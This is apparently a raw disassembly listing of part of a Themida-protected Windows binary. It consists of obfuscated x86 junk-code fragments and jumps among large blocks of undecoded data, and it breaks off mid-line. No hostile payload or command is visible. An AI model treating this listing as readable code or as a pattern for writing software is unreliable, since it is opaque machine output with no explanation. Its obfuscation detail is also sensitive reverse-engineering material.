0EC81h dd 4, 0BE243489h, 0B0A5D6Ch, 81E9F301h, 0ADh, 8B1C04E8h dd 8952240Ch, 4C281E2h, 81000000h, 4C2h, 24148700h, 5352665Ch dd 0CBFED3B3h, 65F0E9h, 4C68100h, 57000000h, 8904EC83h dd 0AEBD242Ch, 894C0964h, 102BE9EFh, 89530000h, 4BA52E3h dd 1000000h, 1877E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536CE6: ; CODE XREF: Themida_:00540764j pop ecx push edi push edx mov edx, 28F93654h add edx, 213D2418h jmp loc_53E536 ; --------------------------------------------------------------------------- loc_536CF9: ; CODE XREF: Themida_:00540BE5j push eax jmp loc_53C8C0 ; --------------------------------------------------------------------------- db 5Fh dd 0EBE9h, 24248900h, 2AD9E9h, 3ABA5200h, 81308C69h, 987484C2h dd 4CEA8157h, 8129DBD7h, 0E60410EBh, 0CEB813Bh, 168E179h dd 0CC381D3h, 0E968E179h, 3204h ; --------------------------------------------------------------------------- loc_536D38: ; CODE XREF: Themida_:00540322j push 1256h mov [esp], esi mov esi, esp jmp loc_536009 ; --------------------------------------------------------------------------- aQissK db 'Q‰áé',1Bh,'K',0 dw 6600h dd 0E9240C8Bh, 7287h ; --------------------------------------------------------------------------- loc_536D58: ; CODE XREF: Themida_:005366DFj pop esp jmp loc_53F4C7 ; --------------------------------------------------------------------------- dd offset dword_59C800 dw 2CE8h dd 98A2E9FAh, 74FF0000h, 8F5E0424h, 248B2404h, 0C8B6624h dd 37686824h, 34890000h, 57E68924h, 4BFh, 3BEE8100h, 135F359h dd 3BC681FEh, 8B35F359h, 0C483243Ch, 6EE95104h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_536DA3: ; CODE XREF: Themida_:00539A6Aj add esp, 4 loc_536DA6: ; CODE XREF: Themida_:005380CCj ; Themida_:0053E2C0j push dword ptr [esp] jmp loc_538637 ; --------------------------------------------------------------------------- dw 0EB01h dd 89E9555Dh, 89FFFFF8h, 4C281E2h, 57000000h, 4BFh, 9607E900h dd 47680000h, 89000035h, 4832424h, 7CE90424h, 1000008h dd 0E9082454h, 16CDh, 0D4F6D4F6h, 0E9F3F480h, 26F6h, 5C241487h dd 87241489h, 7DE9240Ch db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_536DFF: ; CODE XREF: Themida_:00540362j push ecx push esp jmp loc_5419CE ; --------------------------------------------------------------------------- dw 3166h dd 665D66EFh, 0B2E9F889h, 5100006Ch, 8EE96AB5h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_536E1B: ; CODE XREF: Themida_:00541D0Aj mov [esp], eax push 2FF4h mov [esp], ecx mov ecx, 594B14ACh jmp loc_53E01E ; --------------------------------------------------------------------------- dd 24148B66h, 2C481h, 0E9520000h, 5Eh, 0DB081FBBh, 3C22E925h dd 81660000h, 66597AF3h, 565BD801h, 23A7BE66h, 3102E9h dd 241C8700h, 4E84E9h, 24148900h, 27A768h, 0A956800h, 24890000h dd 24048324h, 24048F04h, 4240481h, 5A000000h, 229CE9h dd 47EE8100h, 0E91F3230h, 561Bh, 0D504C7BAh, 0B26FE912h dd 1B20000h, 285AD000h, 0B75366E8h, 0EDCF8099h, 8005E7C0h dd 0CF8086EFh, 80D7F67Dh, 0F8287FEFh, 30595B66h, 0C0B60FC3h dd 5E08950h, 4, 42Dh, 0CDE95000h, 5300009Dh, 0F2635CBBh dd 0F04BE914h, 8951FFFFh, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 59E9525Ch, 0B400004Dh, 0FFE788F8h, 48B2434h, 4C48324h dd 919E9h, 5C4E6800h, 0C890000h, 0E9E18924h, 497Dh, 4C381h dd 51E90000h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_536F27: ; CODE XREF: Themida_:00540EA8j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_53D9AE ; --------------------------------------------------------------------------- dd 6624248Bh, 9C243CD3h, 0FFEB78E9h, 41E955FFh db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_536F4F: ; CODE XREF: Themida_:0053A00Aj add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_53691A ; --------------------------------------------------------------------------- db 0FEh, 0CBh, 80h dd 0CB8039C3h, 45E3806Dh, 3EE9DBF6h, 8000001Bh, 0E80003C5h dd 2EC8159h, 66000000h, 0E9241C89h, 276Ah, 4987E954h, 0EC830000h dd 24148904h, 4EC81h, 4890000h, 5B7DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536FA6: ; CODE XREF: Themida_:0053BA4Dj mov esi, 224D7AAFh jmp loc_537398 ; --------------------------------------------------------------------------- dd 657308BDh, 3E5C16Bh, 0C2B2F581h, 0E8294926h, 5DAFE9h dd 4C48300h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 8904EC83h dd 1BE9242Ch, 8B000067h, 0AE92434h, 52000058h, 6C3CB7BAh dd 3062E91Ah, 0E8BB0000h, 21258B5Eh, 241C8BDAh, 81E38953h dd 4C3h, 4C38100h, 0E9000000h, 0AE25h, 5938D50Dh, 6E0C12Bh dd 753EE9h, 5EF32900h, 5C241C87h, 54240489h, 40558h, 0EC810000h dd 4, 0BD242C89h, 2, 335DE801h, 4312404h, 24043324h, 0E924248Bh dd 0B332h, 80C3005Ch, 10E9D2EBh db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53705F: ; CODE XREF: Themida_:005419EEj mov [esp], edi push esp mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add edi, 4 push eax mov eax, 4 add edi, 531302D5h add edi, eax sub edi, 531302D5h pop eax xchg edi, [esp] mov esp, [esp] or eax, eax jz loc_535C64 push dword ptr [edi+1Ch] push 6677h mov [esp], ecx push 111D1346h mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_53F891 ; --------------------------------------------------------------------------- loc_5370C5: ; CODE XREF: Themida_:0053E7B7j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 7BF2h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push ebx mov ebx, 3AFC5236h sub eax, ebx pop ebx jmp loc_53F936 ; --------------------------------------------------------------------------- aHo db '[ho%',0 align 4 dd 89240C89h, 4C181E1h, 0E9000000h, 0A71Ch, 4EC81h, 34890000h dd 0C0ABE24h, 0F1E94264h db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53712B: ; CODE XREF: Themida_:0053CB74j add eax, esi pop esi jmp loc_537E45 ; --------------------------------------------------------------------------- loc_537133: ; CODE XREF: Themida_:0053C90Bj push 2C27h mov [esp], edx jmp loc_540373 ; --------------------------------------------------------------------------- loc_537140: ; CODE XREF: Themida_:0053F108j mov edx, [esp] jmp loc_53A850 ; --------------------------------------------------------------------------- dd 0BB535A54h, 62057AB6h, 0F706E3C1h, 0EC8157DBh, 4, 0B8240489h dd 7359118Eh, 0CA21E4BFh, 58C701D1h, 0E781D7F7h, 0E805BF1h dd 0F5FDEF81h, 0FB318BDEh, 2587E9h, 40500h, 41E90000h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53718B: ; CODE XREF: Themida_:0053DC50j sub eax, 41E86D00h jmp loc_539DF1 ; --------------------------------------------------------------------------- db 66h, 5Eh, 0E9h dd 0FFFFE925h, 8B241487h, 78E92424h, 6600008Ah, 6624048Fh dd 50BE6656h, 6650664Dh, 664D4EB8h, 5866C629h, 246C8166h dd 667D0A02h, 2247401h, 29BDE9h, 5DC18100h, 5B2EEF75h dd 1FBEC181h, 0E98133ECh, 64FA74CEh, 0C181F101h, 64FA74CEh dd 1FBEE981h, 0C18133ECh, 5AA05E12h, 5A08E95Eh, 348B0000h dd 4C48324h, 0DC768h, 243C8900h, 4BFh, 5FFE0100h, 8904EC83h dd 4BD242Ch, 1000000h, 45E95DEEh, 6600004Fh, 5224048Bh dd 5404EC83h, 8124048Fh, 42404h, 815A0000h, 4C2h, 28E95700h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_537243: ; CODE XREF: Themida_:0053EFE1j pop esi jmp loc_53C907 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4BD55h, 0FBE90000h, 0F7000019h, 3E1C1D1h, 35B9E9h, 2434FF00h dd 8324048Bh, 148904ECh, 0FD7E924h, 295E0000h, 5081E9FAh dd 42E90000h, 81FFFFE8h, 4ECh, 241C8900h, 0A7152CBBh, 0B6F3811Fh dd 296C9C60h, 835D5BDAh, 148704C2h, 82DDE924h, 0B9510000h dd 4, 0C8BCE29h, 4C48124h, 56000000h, 42474FFh, 5E2434FFh dd 1A4DE9h, 88E0B100h, 516659C8h, 0C82842B1h, 0E8C05966h dd 0B4505202h, 5D5FE97Eh, 0D8280000h, 285E045Bh, 535E2CD8h dd 812C4AB3h, 3659E9h, 8BA62C00h, 0EC812414h, 4, 89241489h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 558BE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_537312: ; CODE XREF: Themida_:00538234j mov edx, 1 and eax, edx push dword ptr [esp] pop edx jmp loc_541B72 ; --------------------------------------------------------------------------- dw 835Eh dd 0E95304C3h, 3478h, 4C181h, 30E90000h, 51000026h, 4262E9h dd 0E9F50100h, 0A983h, 8324348Bh, 0C08304C4h, 71266804h dd 0C4E90000h, 1000015h, 31F8E9EBh, 0C4810000h, 4, 4C781h dd 3C870000h, 24248B24h, 9BACE951h, 0E9C00000h, 0E9C9FE06h dd 5D0Eh, 8B240487h, 34FF2424h, 0E9555924h, 0A18Ah, 0E9243430h dd 0FFFFE80Bh ; --------------------------------------------------------------------------- loc_537398: ; CODE XREF: Themida_:00536FABj xor esi, 224D7AABh sub edx, esi pop esi jmp loc_53822B ; --------------------------------------------------------------------------- dw 0F930h dd 4EC835Bh, 83240489h, 148904ECh, 49B45024h, 88E58851h dd 48B59EAh, 0ED2AE924h, 0F6E9FFFFh db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5373CB: ; CODE XREF: Themida_:00537C73j push ebp sub esp, 4 mov [esp], ecx mov ecx, 15179C7h dec ecx jmp loc_537F0D ; --------------------------------------------------------------------------- loc_5373DD: ; CODE XREF: Themida_:0053AEC4j push 4267h mov [esp], eax mov eax, 363711FFh push ebx mov ebx, 10B26EA3h jmp loc_539B6A ; --------------------------------------------------------------------------- loc_5373F5: ; CODE XREF: Themida_:00541137j mov ebx, [esp] add esp, 4 jmp loc_53B23E ; --------------------------------------------------------------------------- loc_537400: ; CODE XREF: Themida_:0053BCE4j add esp, 4 pop eax jmp loc_53E10F ; --------------------------------------------------------------------------- db 5, 4, 0 dd 89560000h, 4C681E6h, 55000000h, 77B7CBDh, 0C8F5811Ch dd 0F7122A70h, 0F4E945D5h, 2D000077h, 650028FAh, 0FA05F001h dd 83650028h, 148904ECh, 79F9BA24h, 760568B4h, 0E964EB77h dd 4ABDh ; --------------------------------------------------------------------------- loc_53744C: ; CODE XREF: Themida_:0053BE23j push esi jmp loc_53BE28 ; --------------------------------------------------------------------------- dw 468h dd 8B000000h, 0C481241Ch, 4, 875BDF01h, 12E9243Ch, 81000037h dd 455D00EEh, 9B2FE9A2h, 59660000h, 4B89E9h, 30FE3000h dd 0E9FE30F7h, 0FFFFEF31h, 0C381C329h, 168C1DCEh, 747AEB81h dd 8CE911A0h, 1000011h, 5204246Ch, 127C45BAh, 0F931E961h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5374AA: ; CODE XREF: Themida_:00539D72j sub ebx, edi sub ebx, 725F19C2h sub ebx, 1A95325Fh pop edi mov dword ptr [edi+20h], 202C5369h push ecx mov ecx, 20h sub ecx, 35955185h sub ecx, 7A7F38C6h add ecx, edi push esi jmp loc_53B09F ; --------------------------------------------------------------------------- dw 405h dd 55000000h, 4BDh, 5DE82900h, 140DE9h, 48B6600h, 0F7E0E924h dd 0E389FFFFh, 4BD55h, 0EB010000h, 0A5E685Dh, 34890000h dd 2BE24h, 0F3010000h, 5124348Bh, 0C181E189h, 4, 4C181h dd 0AFE90000h, 0F6000030h, 0E99C241Ch, 0FFFFE591h, 0F24248Bh dd 1268C8BFh, 89000019h, 83E9240Ch, 0B9FFFFFEh, 4, 8359CF01h dd 8CE904C7h, 0F6FFFFF6h, 0FEEAD0D2h, 0C0D2F6CAh, 2EE906E2h dd 80000014h, 0D7F66BE7h, 8008E7C0h, 0FC2801F7h, 0FED4F65Bh dd 5CE952C4h, 5A0000A6h, 34FFC329h, 2434FF24h, 8324048Bh db 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 jmp loc_53983E ; --------------------------------------------------------------------------- db 81h dd 92A01EFh, 0D3EF813Ah, 31C4FDFCh, 0C8315FF9h, 0ED31E959h dd 0C481FFFFh, 4, 0B8ABBB53h, 8BE9F473h, 0BA00005Ch, 4D162B11h dd 61A8F281h, 0E2C101E4h, 4C28108h, 10DB547h, 0E9525AD0h dd 0FFFFE661h, 24048B66h, 6067E9h, 4895C00h, 0E4BFE924h dd 4401FFFFh, 6C810424h, 470B0424h, 5F580F08h, 0FF2DE951h dd 3489FFFFh, 43FCE924h, 0E9550000h, 21FFh, 8301C580h dd 0ADE904ECh db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53762F: ; CODE XREF: Themida_:0053DBD8j pop edi push esi mov esi, 34F375EFh xor edi, esi pop esi jmp loc_537B4C ; --------------------------------------------------------------------------- dw 2BFh dd 81000000h, 9852A0EBh, 81FB016Bh, 9852A0C3h, 0DAE95F6Bh dd 5DFFFFEEh, 2B75E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53765E: ; CODE XREF: Themida_:0053A8A1j mov ebp, ecx pop ecx jmp loc_5361ED ; --------------------------------------------------------------------------- loc_537666: ; CODE XREF: Themida_:0053F687j mov esi, [esp] add esp, 4 push edi push edx mov edx, 7C6D24FAh shr edx, 3 add edx, 20AD7B23h shl edx, 6 sub edx, 7CDC43EEh add edx, 0DC3CC570h mov edi, edx pop edx or ebp, edi pop edi sub ebp, 1E2B2552h xchg esi, ebp neg esi xchg esi, ebp shl ebp, 5 jmp loc_541275 ; --------------------------------------------------------------------------- dd 4C6815Eh, 83000000h, 2DE904EEh, 49000087h, 0FFE856E9h dd 241489FFh, 4C3468h, 24248900h, 4240483h, 468515Ah, 59000000h dd 0AAD9E9h db 0 ; --------------------------------------------------------------------------- loc_5376D9: ; CODE XREF: Themida_:0053FFADj neg edi sub edi, 4D77588h dec edi neg edi add edi, 0C36C3E45h mov [edx+30h], edi pop edi popa popf retn ; --------------------------------------------------------------------------- db 0E9h, 0CBh, 0E3h dd 0D028FFFFh, 9757E9h, 0E0895000h, 405h, 42D00h, 4870000h dd 34895C24h, 348B5424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx push ebx push 14AE6CF1h pop ebx and ebx, 5D734871h xor ebx, 14224875h jmp loc_5411A9 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 6CF0E900h, 0EA810000h, 12302BE4h, 0C281EA01h dd 12302BE4h, 0AB6EA81h, 24E922F7h, 9FFFFFBh, 4BE958C2h dd 0FFFFEEh, 5B5304D8h, 0E958C588h, 3B6Dh ; --------------------------------------------------------------------------- loc_537770: ; CODE XREF: Themida_:00536B05j mov [esp], eax mov al, bl inc al mov bl, al mov eax, [esp] jmp loc_541596 ; --------------------------------------------------------------------------- db 5Dh, 8Fh, 4 dd 0E9F65C24h, 245DE9h, 4C48300h, 30E0E9h db 0 ; --------------------------------------------------------------------------- loc_537795: ; CODE XREF: Themida_:0053965Aj ; Themida_:0053B834j ... push 521Ah mov [esp], eax push ecx jmp loc_53CCFE ; --------------------------------------------------------------------------- loc_5377A3: ; CODE XREF: Themida_:005422A5j pop eax shr ebp, 7 sub ebp, 0D0A52FCh jmp loc_536151 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 2E90000h, 6600003Ch, 0E9243C31h, 2C5Fh ; --------------------------------------------------------------------------- loc_5377CC: ; CODE XREF: Themida_:0053AAFBj pop ebp pop edi jmp loc_538B5C ; --------------------------------------------------------------------------- db 66h dd 0E924148Bh, 5EC9h, 405h, 24048700h, 0EFE9565Ch, 100008Dh dd 0B2B951C3h, 0E964FB32h, 23A5h, 0BFE9C201h, 0F7000006h dd 0AEE281DAh, 5523FF31h, 2C01E9h, 5E08900h, 4, 8704C083h dd 875C2404h, 248B2434h, 9C6BE924h, 0C4810000h, 4, 34FFF830h dd 5D36E924h, 2BB0000h, 89000000h, 0CD015BD9h, 242C3359h dd 33242C31h, 248B242Ch, 0E9F1F624h, 1E2Eh, 81E18951h dd 4C1h, 4C18100h, 0E9000000h, 0A4DEh, 7B469B25h, 21E95231h dd 89FFFFF6h, 0C3E92414h, 83FFFFEEh, 34FF04C4h, 6BE95824h dd 3000002Dh, 0E78957D8h, 4C781h, 0EF810000h, 4, 5C243C87h dd 5B20E9h db 0 ; --------------------------------------------------------------------------- loc_5378A1: ; CODE XREF: Themida_:0053E4EBj xor eax, ecx push 923h mov [esp], eax xchg ebx, [esp] xor ebx, edx xor edx, ebx xor ebx, edx not edx xchg edx, ebx xchg ebx, [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 jmp loc_53F174 ; --------------------------------------------------------------------------- dd 0E9240431h, 3F22h ; --------------------------------------------------------------------------- loc_5378E8: ; CODE XREF: Themida_:005369A4j pop edi shr ebp, 4 push edi mov edi, 0FBC96A58h add ebp, edi pop edi and eax, ebp pop ebp shr eax, 12h xor eax, ecx push esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_53685E ; --------------------------------------------------------------------------- dw 0C721h dd 8124048Bh, 4C4h, 21CE900h, 26680000h, 8B467155h, 0C4832414h dd 0DEC28104h, 1B98EAAh, 8B042454h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_53DC21 ; --------------------------------------------------------------------------- dw 0EAC0h dd 0B9E28003h, 0EE9E2D0h, 80000016h, 0D828B6F3h, 28452C5Bh dd 0E5FDE9D8h, 8141FFFFh, 0B7325C1h, 3382E942h, 8B660000h dd 0B468240Ch, 89000045h, 5A542414h, 4C281h, 0BDE90000h dd 81000096h, 0B55677EAh, 81FA011Ch, 0B55677C2h, 0DFBE561Ch dd 813F447Ah, 4ECh, 24048900h, 0A97E27B8h, 8E8C140h, 0C8575725h dd 2DD0F762h, 74ED4A91h, 908EE9h, 8B188800h, 0A5E9241Ch dd 66000021h, 157AE953h, 0D1890000h, 928BE9h db 0 ; --------------------------------------------------------------------------- loc_5379E5: ; CODE XREF: Themida_:0053A593j pop esp jmp loc_53F40F ; --------------------------------------------------------------------------- db 0BAh dd 2, 65E9D301h, 8400007Dh, 0B5E99CC8h, 10000A6h, 2434FFE8h dd 0E9242C8Bh, 6289h, 5C241C87h, 791CF02Dh, 0C8E95131h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537A1B: ; CODE XREF: Themida_:0053CDB8j pop esi jmp loc_5409F4 ; --------------------------------------------------------------------------- loc_537A21: ; CODE XREF: Themida_:0053F10Fj pop ebp add edx, 7EDD7DEEh neg edx inc edx dec edx shr edx, 3 xor edx, 0B5A83E4h add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edx push 4C2A75DAh push dword ptr [esp] pop edx add esp, 4 push eax mov eax, 4C2A75D9h jmp loc_53B998 ; --------------------------------------------------------------------------- dd 104C483h, 702605D8h, 48E944E8h, 81000088h, 2381F3h dd 5BDA0100h, 423BE9h, 6DBB5300h, 0E92E4A02h, 5335h, 242C8152h dd 16E116ECh, 56CE685Fh, 0C890000h, 5B53B924h, 0E9813209h dd 5786B14h, 0FFFEC9E9h, 2CD8F6FFh, 2CC0FE78h, 15F6E95Bh dd 8B540000h, 0C4832404h, 0F947E904h, 5255FFFFh, 0D911BA68h dd 24148B56h, 4C481h, 0E2810000h, 87A7866h, 7A84F281h dd 0D5894043h, 83C5815Ah, 815FBE7Ch, 881E30C5h, 5DC38185h dd 290D5A09h, 5DBE56EBh, 810D5A09h, 251266EBh, 81F3294Ch dd 251266C3h, 2C8B5E4Ch, 4C48324h, 0FFE4C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_537B15: ; CODE XREF: Themida_:0053AAC9j push 1F1F3E3Fh pop ebx xor ebx, 2B7E68ABh xor ebx, 65CF6785h add ebx, 0E60E1B22h mov edi, ebx jmp loc_53659C ; --------------------------------------------------------------------------- aXhj db 'Xhj,',0 align 2 dw 0C89h dd 0C8B5424h, 8F31E924h, 0E9520000h, 7C9h ; --------------------------------------------------------------------------- loc_537B4C: ; CODE XREF: Themida_:00537639j or edi, 2B790FB1h shl edi, 5 add edi, 809400E4h mov esi, edi pop edi sub edx, esi pop esi xchg edx, [esp] pop esp jmp loc_53C283 ; --------------------------------------------------------------------------- loc_537B6A: ; CODE XREF: Themida_:0053CF3Fj and edx, ecx jmp loc_538033 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0E9E78957h, 0FFFFF7BBh ; --------------------------------------------------------------------------- loc_537B7C: ; CODE XREF: Themida_:00540DBAj mov esp, [esp] shl dword ptr [esp], cl jmp loc_535AC1 ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 24248B24h, 71A568h, 24048900h, 4B3CBA52h dd 0D0897516h, 0FFF9D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_537BA5: ; CODE XREF: Themida_:0053A481j mov [esp], ecx mov ecx, 20h add ecx, edi jmp loc_539A64 ; --------------------------------------------------------------------------- dd 8832FE2Dh, 4E2A2D12h, 0D8293D57h, 9474E953h, 34FF0000h dd 89575824h, 4BD55E7h, 1000000h, 0C7835DEFh, 243C8704h dd 0DEDFE95Ch, 8F59FFFFh, 5CE94047h, 8900008Ch, 58C389C8h dd 5DEB8159h, 0E949B935h, 51DFh ; --------------------------------------------------------------------------- loc_537BFC: ; CODE XREF: Themida_:0053AE5Ej xor esi, [esp] jmp loc_53A2B7 ; --------------------------------------------------------------------------- dd 405h, 0F772E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_537C0E: ; CODE XREF: Themida_:0053A551j pop esi jmp loc_53AD18 ; --------------------------------------------------------------------------- dd 5119CB81h, 0C3817558h, 1CC902D9h, 0B72C381h, 0DE0165D9h dd 1B71E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_537C2E: ; CODE XREF: Themida_:00539E3Aj pop dword ptr [esp] jmp loc_535E70 ; --------------------------------------------------------------------------- loc_537C36: ; CODE XREF: Themida_:0053D0F7j pop esi push dword ptr [esp] pop ecx add esp, 4 push dword ptr [ebx] add dword ptr [esp], 5704A18h jmp loc_53E13C ; --------------------------------------------------------------------------- dd 0F1814941h, 32B9E17Ch, 0FF91E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_537C5A: ; CODE XREF: Themida_:0053B64Ej and esi, 1B2848B8h neg esi jmp loc_53A9C7 ; --------------------------------------------------------------------------- db 81h dd 323156EFh, 0EDAAE969h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_537C72: ; CODE XREF: Themida_:0053AA2Bj pop ebp jmp loc_5373CB ; --------------------------------------------------------------------------- dd 83240C8Bh, 0C38104C4h, 419A7AA0h, 8452E9h db 0 ; --------------------------------------------------------------------------- loc_537C89: ; CODE XREF: Themida_:0053D2D5j pop edx push ebp mov ebp, 4BB16255h add ebp, 1 push ebx jmp loc_53DCBB ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h, 0E4B75324h dd 9683E9h, 24048100h, 4, 5524348Bh, 242C8B54h, 5E08950h dd 4, 8704C083h, 3EE92404h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_537CDB: ; CODE XREF: Themida_:0053F722j add ecx, edi jmp loc_53E52B ; --------------------------------------------------------------------------- loc_537CE2: ; CODE XREF: Themida_:0053A261j push ebp mov ebp, 264E630Fh jmp loc_53F10D ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 681F68h, 1D62E900h, 52550000h, 3605E9h, 0BA525D00h dd 720E12B8h, 815AD709h, 1D5E1CC7h, 0E7C14F05h, 9737E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537D1A: ; CODE XREF: Themida_:005417B5j or eax, eax jmp loc_538187 ; --------------------------------------------------------------------------- db 68h, 0A4h, 4Fh dd 15D420Dh, 242C8BE8h, 4C481h, 0ABE90000h, 1000025h, 0BE5659CFh dd 4, 83B8E9h, 66E13000h, 0E7DCE958h, 8504FFFFh, 2799E9h db 0 ; --------------------------------------------------------------------------- loc_537D55: ; CODE XREF: Themida_:005365C6j pop edx xor bl, al movzx eax, al jmp loc_538B65 ; --------------------------------------------------------------------------- dd 80BF575Ah, 29265A13h, 3C8B5FFAh, 4C48124h, 55000000h dd 0B04CD0BDh, 5DE82919h, 0D005D029h, 0FF19B04Ch, 8FE92434h dd 3100003Ah, 3DBFE9D8h, 2B90000h, 0E9000000h, 578Dh, 4B850h dd 44010000h, 0FF580424h, 3C8B2434h, 4C48124h, 81000000h dd 4C4h, 4C78100h, 81000000h, 4C7h, 0A20EE900h, 84B00000h dd 4B2CD8F6h, 3704D0F6h, 8058C500h, 0EF2C09C5h, 0EF04E800h dd 7218E9h, 0B9515A00h, 4DF44D32h, 584CE981h, 0C1810252h dd 5E111B03h, 4696C181h, 0B850306Eh, 35796929h, 5258C101h dd 0F18DD7BAh, 0E9D1010Bh, 37FBh, 2DC6E95Bh, 0C4830000h dd 9BC6804h, 4890000h, 4B824h, 0C5010000h, 402DE9h, 14335900h dd 24143124h, 5C241433h, 9CC88566h, 0FFDC7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_537E45: ; CODE XREF: Themida_:0053712Ej xchg eax, [esp] pop esp and ecx, edx jmp loc_5400AC ; --------------------------------------------------------------------------- aPuhbx db 'PUhbX',0 dw 8900h dd 0DEBE2434h, 4661822Dh, 0FFDE22E9h, 4EC81FFh, 89000000h dd 63B82404h, 2D18CE07h, 0FFFFFFFFh, 0F705E8C1h, 703E05D0h dd 0EA8100C6h, 21655795h, 0C281C201h, 21655795h, 5024048Bh dd 405E089h, 0E9000000h, 822Dh ; --------------------------------------------------------------------------- loc_537EA0: ; CODE XREF: Themida_:0053C6FCj mov ecx, [esp] add esp, 4 shr eax, 0Ch xor eax, ecx jmp loc_53D530 ; --------------------------------------------------------------------------- db 66h dd 2404A30Fh, 489BE99Ch, 0C2810000h, 785E6D13h, 379268h dd 243C8900h, 36BE5650h, 813A482Eh, 0D1009AC6h, 0E9DEF745h dd 0FFFFE964h, 5504E3C1h, 90CEE9h db 0 ; --------------------------------------------------------------------------- loc_537EE9: ; CODE XREF: Themida_:0053E900j sub esp, 4 jmp loc_536590 ; --------------------------------------------------------------------------- dd offset dword_49005C+530Ch align 2 dw 489h aH4 db '$h%4',0 align 2 dw 0C89h dd 32D9B924h, 0C8895D01h, 961AE9h db 0 ; --------------------------------------------------------------------------- loc_537F0D: ; CODE XREF: Themida_:005373D8j add ecx, 39AFA102h sub esp, 4 mov [esp], ebp jmp loc_53B102 ; --------------------------------------------------------------------------- loc_537F1E: ; CODE XREF: Themida_:0053A16Dj pop esi jmp loc_53FA49 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 14D25966h, 8EE99C24h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_537F33: ; CODE XREF: Themida_:0053F9C5j push dword ptr [esp] pop esi jmp loc_5366D0 ; --------------------------------------------------------------------------- dd 0F01CFE2Dh, 8CE95E6Eh, 1FFFFECh, 2434FFC6h, 295B6858h dd 1C890000h, 51E38924h, 0AF290EB9h, 0AE98125h, 0E925AF29h dd 3272h, 0E2895259h, 4C281h, 0C2830000h, 24148704h, 2CE2E95Ch dd 1C890000h, 63ECE924h, 0E7890000h, 48CEB951h, 6FE94808h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537F93: ; CODE XREF: Themida_:0054056Fj mov edx, 4 add edi, edx pop edx xchg edi, [esp] pop esp shr ecx, 7 push 1597h mov [esp], ebx push eax mov eax, 55A7DE7h add [esp+4], eax pop eax pop eax push esi push ecx mov ecx, 56A01B76h not ecx push eax mov eax, 6FBA6B2Ch add eax, 12627A4Ch xor eax, 0D0F8F75Fh xor ecx, eax mov eax, [esp] add esp, 4 push ebx mov ebx, 1BFE0E2Dh add ebx, 42C63B01h jmp loc_53D196 ; --------------------------------------------------------------------------- dd 6AB06866h, 240C8966h, 0FFDACCE9h, 48B66FFh, 5DB36824h dd 34890000h, 0CEE95424h, 5600004Dh, 3E01E954h, 67BA0000h dd 967086Ch, 449BE9D5h, 0DA010000h, 0FFDCC1E9h, 89E889FFh dd 24048BC2h, 8B04C483h, 0F0E9242Ch db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_538033: ; CODE XREF: Themida_:00537B6Cj push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edx, 1DFE7F89h or edx, 16595186h jmp loc_53C838 ; --------------------------------------------------------------------------- loc_53805B: ; CODE XREF: Themida_:00542374j pop ebx jmp loc_53E4F0 ; --------------------------------------------------------------------------- db 1, 0DDh, 5Bh dd 0A2F5F581h, 0EF8907B7h, 